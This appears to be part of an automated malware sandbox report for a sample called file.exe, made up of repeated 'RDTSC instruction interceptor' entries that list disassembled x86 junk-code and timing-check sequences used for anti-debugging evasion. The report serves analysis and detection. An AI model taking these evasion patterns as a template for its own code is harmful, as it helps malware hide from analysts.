Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96416D second address: 964172 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980909 second address: 980925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F00DC7AD946h 0x0000000a jmp 00007F00DC7AD952h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980925 second address: 980932 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980932 second address: 980943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007F00DC7AD968h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980943 second address: 98095B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DD5CA01Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F00DD5CA01Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 981FEA second address: 981FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 981FEE second address: 981FF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 984C91 second address: 984CA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F00DC7AD946h 0x0000000a jmp 00007F00DC7AD94Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9846AE second address: 9846B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9846B4 second address: 9846DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F00DC7AD953h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F00DC7AD94Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9846DE second address: 9846E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 989C22 second address: 989C53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edi 0x0000000a jns 00007F00DC7AD94Ch 0x00000010 jl 00007F00DC7AD95Fh 0x00000016 jmp 00007F00DC7AD953h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98CDAA second address: 98CDB0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98CDB0 second address: 98CDD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F00DC7AD956h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98CDD2 second address: 98CDD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98CDD8 second address: 98CE08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DC7AD956h 0x00000009 popad 0x0000000a jmp 00007F00DC7AD955h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98CE08 second address: 98CE10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9938E7 second address: 993900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DC7AD955h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993900 second address: 993909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993909 second address: 993923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnp 00007F00DC7AD948h 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f jns 00007F00DC7AD948h 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9957A3 second address: 9957B5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F00DD5CA018h 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F00DD5CA016h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9957B5 second address: 9957D5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F00DC7AD946h 0x00000008 jmp 00007F00DC7AD94Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998C6D second address: 998C76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998A7C second address: 998A80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998A80 second address: 998A98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F00DD5CA016h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 jbe 00007F00DD5CA016h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998A98 second address: 998AA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F00DC7AD946h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998AA4 second address: 998AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998AA8 second address: 998AAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998AAC second address: 998AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F00DD5CA01Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998AC3 second address: 998AD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jbe 00007F00DC7AD946h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998AD6 second address: 998ADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998ADA second address: 998AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998AE6 second address: 998AEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF6CA second address: 8AF6D0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF6D0 second address: 8AF6E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F00DD5CA021h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DC71 second address: 99DC77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DC77 second address: 99DCD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F00DD5CA01Dh 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f jmp 00007F00DD5CA027h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F00DD5CA025h 0x0000001b jmp 00007F00DD5CA024h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E938 second address: 99E957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F00DC7AD94Eh 0x0000000f jns 00007F00DC7AD946h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A23E8 second address: 9A23EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A23EE second address: 9A23F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5444 second address: 9A544E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F00DD5CA016h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A544E second address: 9A5454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C02F8 second address: 9C0317 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DD5CA028h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0317 second address: 9C0335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F00DC7AD957h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C338C second address: 9C33A0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e jnl 00007F00DD5CA016h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C33A0 second address: 9C33AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3094 second address: 9C309A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C309A second address: 9C30AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F00DC7AD946h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C30AB second address: 9C30D1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F00DD5CA016h 0x00000008 jmp 00007F00DD5CA022h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007F00DD5CA016h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C30D1 second address: 9C30D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9F18 second address: 9D9F27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F00DD5CA016h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9F27 second address: 9D9F4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jng 00007F00DC7AD957h 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007F00DC7AD94Fh 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9F4B second address: 9D9F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F00DD5CA027h 0x0000000a jp 00007F00DD5CA022h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9AFC second address: 9D9B02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB661 second address: 9DB665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB665 second address: 9DB687 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F00DC7AD946h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F00DC7AD953h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE013 second address: 9DE017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE279 second address: 9DE290 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F00DC7AD946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jng 00007F00DC7AD946h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE290 second address: 9DE295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFFFC second address: 9E0006 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F00DC7AD946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0006 second address: 9E000B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1C45 second address: 9E1C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020269 second address: 50202BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F00DD5CA020h 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov si, dx 0x00000015 pushfd 0x00000016 jmp 00007F00DD5CA029h 0x0000001b add si, 9986h 0x00000020 jmp 00007F00DD5CA021h 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50202BB second address: 50202C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50202C1 second address: 50202C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50202C5 second address: 50202E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F00DC7AD951h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50202E3 second address: 50202E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50202E9 second address: 50202EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502030B second address: 502030F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502030F second address: 5020315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020315 second address: 5020380 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DD5CA024h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F00DD5CA01Eh 0x00000011 or ah, 00000018h 0x00000014 jmp 00007F00DD5CA01Bh 0x00000019 popfd 0x0000001a mov ecx, 03DE9FCFh 0x0000001f popad 0x00000020 push eax 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushfd 0x00000025 jmp 00007F00DD5CA021h 0x0000002a adc cx, D5B6h 0x0000002f jmp 00007F00DD5CA021h 0x00000034 popfd 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020380 second address: 50203A4 instructions: 0x00000000 rdtsc 0x00000002 mov ax, A7A7h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movzx esi, bx 0x0000000b popad 0x0000000c xchg eax, ebp 0x0000000d jmp 00007F00DC7AD94Fh 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50203A4 second address: 50203A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50203A8 second address: 50203AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50203AC second address: 50203B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50203B2 second address: 50203B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50203B8 second address: 50203BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020405 second address: 5020482 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F00DC7AD957h 0x00000009 and si, 7B0Eh 0x0000000e jmp 00007F00DC7AD959h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F00DC7AD950h 0x0000001a add esi, 78CAC188h 0x00000020 jmp 00007F00DC7AD94Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, ebp 0x0000002a jmp 00007F00DC7AD956h 0x0000002f push eax 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020482 second address: 50204AA instructions: 0x00000000 rdtsc 0x00000002 mov si, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ecx, edi 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F00DD5CA01Bh 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F00DD5CA01Bh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50204AA second address: 50204AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50204AF second address: 50204B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50204B5 second address: 50204B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50204E6 second address: 502056F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F00DD5CA019h 0x0000000d pushad 0x0000000e call 00007F00DD5CA024h 0x00000013 push esi 0x00000014 pop ebx 0x00000015 pop eax 0x00000016 call 00007F00DD5CA027h 0x0000001b jmp 00007F00DD5CA028h 0x00000020 pop ecx 0x00000021 popad 0x00000022 push eax 0x00000023 pushad 0x00000024 mov ax, A99Dh 0x00000028 pushfd 0x00000029 jmp 00007F00DD5CA01Ah 0x0000002e add al, FFFFFFF8h 0x00000031 jmp 00007F00DD5CA01Bh 0x00000036 popfd 0x00000037 popad 0x00000038 mov eax, dword ptr [esp+04h] 0x0000003c pushad 0x0000003d mov ebx, 36BB151Ah 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502056F second address: 5020573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020573 second address: 50205A9 instructions: 0x00000000 rdtsc 0x00000002 call 00007F00DD5CA027h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F00DD5CA025h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50205A9 second address: 5020618 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F00DC7AD957h 0x00000008 pushfd 0x00000009 jmp 00007F00DC7AD958h 0x0000000e sub al, 00000048h 0x00000011 jmp 00007F00DC7AD94Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f movsx edi, ax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushfd 0x00000025 jmp 00007F00DC7AD94Eh 0x0000002a sub ax, 4BA8h 0x0000002f jmp 00007F00DC7AD94Bh 0x00000034 popfd 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020618 second address: 502065F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F00DD5CA028h 0x00000008 xor cx, BE08h 0x0000000d jmp 00007F00DD5CA01Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F00DD5CA025h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502065F second address: 50206C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F00DC7AD957h 0x00000009 add cx, E3AEh 0x0000000e jmp 00007F00DC7AD959h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F00DC7AD950h 0x0000001a sbb ax, 3528h 0x0000001f jmp 00007F00DC7AD94Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 call 00007F014E94127Ah 0x0000002d push 771B27D0h 0x00000032 push dword ptr fs:[00000000h] 0x00000039 mov eax, dword ptr [esp+10h] 0x0000003d mov dword ptr [esp+10h], ebp 0x00000041 lea ebp, dword ptr [esp+10h] 0x00000045 sub esp, eax 0x00000047 push ebx 0x00000048 push esi 0x00000049 push edi 0x0000004a mov eax, dword ptr [77240140h] 0x0000004f xor dword ptr [ebp-04h], eax 0x00000052 xor eax, ebp 0x00000054 push eax 0x00000055 mov dword ptr [ebp-18h], esp 0x00000058 push dword ptr [ebp-08h] 0x0000005b mov eax, dword ptr [ebp-04h] 